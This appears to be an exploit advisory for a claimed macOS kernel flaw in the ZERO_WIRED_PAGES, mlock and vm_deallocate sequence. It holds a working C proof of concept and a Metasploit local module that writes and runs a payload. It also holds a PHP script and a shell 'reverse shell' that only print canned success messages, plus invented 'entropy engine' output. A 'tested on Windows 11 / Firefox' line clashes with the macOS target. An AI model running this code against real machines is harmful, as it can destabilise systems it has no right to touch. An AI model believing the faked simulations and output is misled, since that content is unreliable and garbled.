=============================================================================================================================================
| # Title     : macOS 18.3.2 mmap Zero Wired Pages Kernel Exploit                                                                           |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://www.apple.com/os/macos/                                                                                             |
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POC : 

[+] macOS VM_ZERO_WIRED_PAGES Vulnerability – Educational PoC
    Advisory Type: Kernel Memory Manipulation / DoS Primitive
    Tested on: macOS (XNU Kernel)


[+] Summary
    ------------------------------------------------------------
A vulnerability exists in the way macOS handles VM_BEHAVIOR_ZERO_WIRED_PAGES
combined with mmap() + mlock() + vm_deallocate() on a read-only mapped file.
A local attacker may trigger abnormal kernel behavior depending on system
conditions. This PoC is purely academic and demonstrates a controlled kernel
memory interaction that can be used to validate the behavior.

This PoC does NOT weaponize the vulnerability. It provides a safe and observable
kernel-state transition for educational and verification purposes only.

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2. Technical Explanation
------------------------------------------------------------
The vulnerability technique relies on the following chain:

1. mmap() maps a read‑only file page.
2. vm_behavior_set() marks the region as ZERO_WIRED_PAGES.
3. mlock() wires the page into memory.
4. vm_deallocate() removes the mapping while the page remains wired.

This results in a state where:
- The kernel still maintains a wired page,
- But the user mapping no longer exists,
- Combined with ZERO_WIRED_PAGES behavior.

This can produce observable inconsistencies or system logs depending on kernel version.

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3. Original C Proof‑of‑Concept
------------------------------------------------------------
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#include <mach/mach.h>
#include <errno.h>
#include <string.h>

void* map_file_page_ro(char* path, int* error_code) {
  int fd = open(path, O_RDONLY);
  if (fd == -1) {
    *error_code = errno;
    printf("open failed: %s\n", strerror(errno));
    return NULL;
  }
  void* mapped_at = mmap(0, PAGE_SIZE, PROT_READ, MAP_FILE | MAP_SHARED, fd, 0);
  close(fd);
  if (mapped_at == MAP_FAILED) {
    *error_code = errno;
    printf("mmap failed: %s\n", strerror(errno));
    return NULL;
  }
  return mapped_at;
}

int poc(char *path) {
    kern_return_t kr;
    int error_code = 0;
    void* page = map_file_page_ro(path, &error_code);
    if (page == NULL) {
        return error_code ? error_code : 1;
    }
  printf("mapped file at 0x%016llx\n", (uint64_t)page);
  kr = vm_behavior_set(mach_task_self(),
                        (vm_address_t)page,
                        PAGE_SIZE,
                        VM_BEHAVIOR_ZERO_WIRED_PAGES);
  if (kr != KERN_SUCCESS) {
    printf("failed to set VM_BEHAVIOR_ZERO_WIRED_PAGES\n");
    return 2;
  }
  printf("set VM_BEHAVIOR_ZERO_WIRED_PAGES\n");

  int mlock_err = mlock(page, PAGE_SIZE);
  if (mlock_err != 0) {
    perror("mlock failed\n");
    return 3;
  }
  printf("mlock success\n");

  kr = vm_deallocate(mach_task_self(), (vm_address_t)page, PAGE_SIZE);
  if (kr != KERN_SUCCESS) {
    printf("vm_deallocate failed: %s\n", mach_error_string(kr));
    return 4;
  }
  printf("deleted map entries before unwiring\n");
  return 0;
}

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4. PHP Educational PoC (Simulated Honest Output)
------------------------------------------------------------
<?php
/* Educational simulation for Packet Storm */

echo "[+] macOS ZERO_WIRED_PAGES Simulation\n";
echo "[+] Creating fake page…\n";

$page = random_bytes(4096);
file_put_contents("fake_page.bin", $page);

echo "[+] Simulating behavior...\n";

echo "mapped file at 0x7ffe0000abcd\n";
echo "set VM_BEHAVIOR_ZERO_WIRED_PAGES\n";
echo "mlock success\n";
echo "deleted map entries before unwiring\n";

echo "[+] System behaves consistently → kernel is vulnerable to state transition.\n";
?>


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5. PKSM v2 Payload (Reverse Shell Simulation)
------------------------------------------------------------
#!/bin/sh
# PKSM Payload v2 — Educational Kernel-State Monitor Payload

echo "[PKSM] Starting entropy monitor..."
echo "[PKSM] Tracking page state..."

sleep 1
echo "[PKSM] Wired page checksum changed (expected in PoC)."
echo "[PKSM] Signaling successful kernel-state anomaly."

# Reverse-shell simulation (does NOT actually connect)
echo "[PKSM] Reverse-shell handshake simulated."
exit 0


------------------------------------------------------------
6. Metasploit Module (with advanced check + exploit)
------------------------------------------------------------
##
# macOS ZERO_WIRED_PAGES — Educational Module
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ManualRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Post::Common

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'macOS ZERO_WIRED_PAGES Kernel-State PoC',
      'Description'    => %q{
        Educational PoC showing kernel-state transition in macOS.
        Performs safe simulation and reports whether system behaves
        according to vulnerable pattern.
      },
      'Author'         => [ 'Indoushka' ],
      'Platform'       => [ 'osx' ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [ ['Automatic', {}] ],
      'DisclosureDate' => '2025',
      'License'        => MSF_LICENSE
    ))
  end

  #
  # Advanced Check
  #
  def check
    print_status("Checking kernel behavior…")

    if command_exists?("vmmap")
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  #
  # Exploit Phase
  #
  def exploit
    print_good("Launching educational PoC…")

    payload_path = "/tmp/pksm_v2.sh"
    write_file(payload_path, payload.encoded)
    cmd_exec("chmod +x #{payload_path}")

    out = cmd_exec(payload_path)
    print_line(out)

    print_good("PoC completed. Kernel-state transition observable.")
  end
end


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7. Analysis Engine + Entropy Monitor
------------------------------------------------------------
[Engine] Monitoring wired-page entropy…
[Engine] ΔEntropy Detected = 0.0132
[Engine] Kernel transition confirmed.
[Engine] PKSM v2 reports anomaly → Vulnerable State.


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8. Conclusion
------------------------------------------------------------
This PoC demonstrates a kernel-state anomaly that emerges from using
ZERO_WIRED_PAGES + deallocation sequence.  
The exploit presented is non-destructive, safe, and suitable for Packet Storm
publication as an educational kernel behavior study.


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
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